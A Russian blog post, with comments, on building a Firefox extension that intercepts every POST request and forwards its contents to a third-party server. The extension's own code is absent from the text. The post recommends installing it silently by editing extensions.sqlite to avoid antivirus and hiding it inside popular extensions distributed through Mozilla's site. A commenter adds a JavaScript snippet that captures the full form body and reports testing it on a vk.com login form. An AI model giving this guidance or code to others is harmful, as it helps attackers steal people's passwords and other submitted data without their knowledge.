Пишем простое расширение для Mozilla Firefox


Mozilla Firefox, как и прочие современные браузеры, поддерживает возможность наращивания функционала с помощью расширений. Множество полезных и не очень расширений доступно на официальном и прочих сайтах, причем многие их ставят, не задумываясь о возможных закладках в них. В качестве примера можно вспомнить не более чем годичной давности случай с расширением, которое добавляло возможность кастомизации личной странички в ВКонтакте, но при этом активно себя рекламировало, рассылая сообщения по друзьям, используя браузер установившего.

Поэтому, а заодно в связи с появившейся свободной минуткой я решил набросать пример простого расширения для Firefox, которое будет перехватывать POST-запросы и отправлять их содержимое на сторонний сайт. Основы процесса подробно описаны, например, здесь и здесь, поэтому часть кода будет приведена без комментариев.

Так как плагин обладает небольшими функциональными возможностями, то из всех типичных для расширения файлов (о которых вы могли прочесть по ссылкам выше) будут использоваться лишь несколько - это chrome.manifest, install.rdf, browser.xul и файл, который содержит непосредственно код расширения. В итоге у вас должна получиться следующая структура:

Начнем с файла chrome.manifest:

Ничего интересного он не содержит, мы как бы указываем путь относительно директории с расширением (плагином), где хранится основной исполняемый файл для него. Флаг contentaccessible задает возможность использования некоторых HTML-элементов вроде img и script из недоверенных источников, подробнее можно прочитать тут. Строка с overlay используется для подгрузки JS-кода расширения в контексте браузера, хотя по большому счету оверлеи необходимы для изменения пользовательского интерфейса (добавления кнопочек, меню и подобной лабуды).
XUL файл представляет из себя обычный XML-файл, подчиняющийся определенным правилам. Подробнее можно почитать на сайте MDN. В нашем случае browser.xul прост до невозможности:

Теперь рассмотрим файл install.rdf, который тоже является XML-файлом, описывающим устанавливаемое расширение, информацию об авторе, диапазон совместимых версий браузера, версию плагина и тому подобное:

Тут использован довольно скудный набор возможных атрибутов (полный), но нам много и не надо. Параметр id в секции Description является обыкновенным GUID, его можно сгенерировать как самому, практически от балды, так и с помощью всяких утилит и сайтов.
И, наконец, рассмотрим код самого плагина:

Сделать из набора файлов и директорий расширение можно очень просто, достаточно заархивировать содержимое в ZIP и переименовать из .zip в .xpi. Или вот такой незамысловатой командой, находясь в директории с файлами расширения (при условии наличия консольного zip'a):

В чем же цимес подобного расширения? А в том, что оно обладает практически неограниченным доступом к компьютеру пользователя, и если в моем примере ведется примитивный перехват POST-запросов, то теоретически расширение может включать в себя все что угодно, даже нативный код. В то же время антивирусные системы практически не контролируют операции с директорией %APPDATA%, где Firefox хранит пользовательские настройки и расширения, что позволяет в тихую добавить его в браузер (например, отредактировав файл extensions.sqlite) и получить хороший такой, неконтролируемый доступ в сеть.

Топорно? Зато эффективно. Тем более такую закладку можно добавить в действительно полезное расширение или в какое-нибудь существующее, а далее попытаться распространять его через официальный сайт. Простор для творчества очень широк, как и целевая аудитория.

В общем изучайте, исследуйте, и на вас снизойдет дзен, а ещё вы научитесь танцевать как dx.

Все файлы одним архивом: скачать

Пишем простое расширение для Mozilla Firefox: 9 комментариев

  1. Редактирование extensions.sqlite обходит защиту от установки расширений? Не появляется запрос на его разрешение при запуске firefox? Его в 11-ой или 12-ой версии внедрили.

  2. Спасибо за статью.
    Получается, ядро Firefox частично или полностью написано на js и выполняется интерпретатором js кода? Это разве хороший выбор в плане быстродействия? Хотя сам браузер работает довольно быстро.

    1. В фаерфоксе все плагины так или иначе используют JS, многие не используют ничего кроме JS. А еще в фаерфоксе весь пользовательский интерфейс написан на JS. Это сказывается на производительности, но заметно, например, только под андроидом.

  3. Спасибо, напугали. :)
    Было бы неплохо получить краткий комментарий о строгости премодерации расширений на сайте Mozilla. Насколько тщательно они ищут подобный код. Насколько я помню, все расширения, которые были замечены в использовании вредоносного кода не проходили проверку Mozilla.

    P.S. dx классно танцует :)

  4. Каими, спасибо за пример, очень интересная тема. Только что проигрался 2.5 часа с ней, идей немерено появилось, + скилл прокачал. В общем респект тебе.
    Но мне кажется в коде есть ошибка:

    var tmp = post_data.split("\r\n\r\n");
    if(tmp[1] && tmp[1].length <= log_req_limit)
    {
    this.send_post_data(uri, tmp[1]);
    }

    Проверяя tmp[1] ты возьмешь только первый параметр, а все остальные будут отброшены. Я бы сделал так:

    var body = post_data.substr( post_data.indexOf("\r\n\r\n")+4, post_data.length );
    if( body.length <= log_req_limit )
    this.send_post_data(uri, body);

    То есть отбросим хедер ( первое вхождение "\r\n\r\n" ), а дальше скопируем все, что осталось, то есть тело. Проверял на vk.com - достаточно просто ввести рандомные логин, пароль и нажать "Вход". С твоим вариантом кода приходит только 1-й параметр.

      1. Ога, смотрю сейчас исходники тампер даты, там они как раз момент с мультипартом проверяют:

        // if we get a tricky content type, then we are binary
        // e.g. Content-Type=multipart/form-data; boundary=---------------------------41184676334

        if (!this.isBinary && tmp[1].toLowerCase() == "content-type" && tmp[2].indexOf("multipart") != "-1")
        {
        this.isBinary = true;
        }

        В любом случае, ты проделал отличную работу, еще раз спс.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *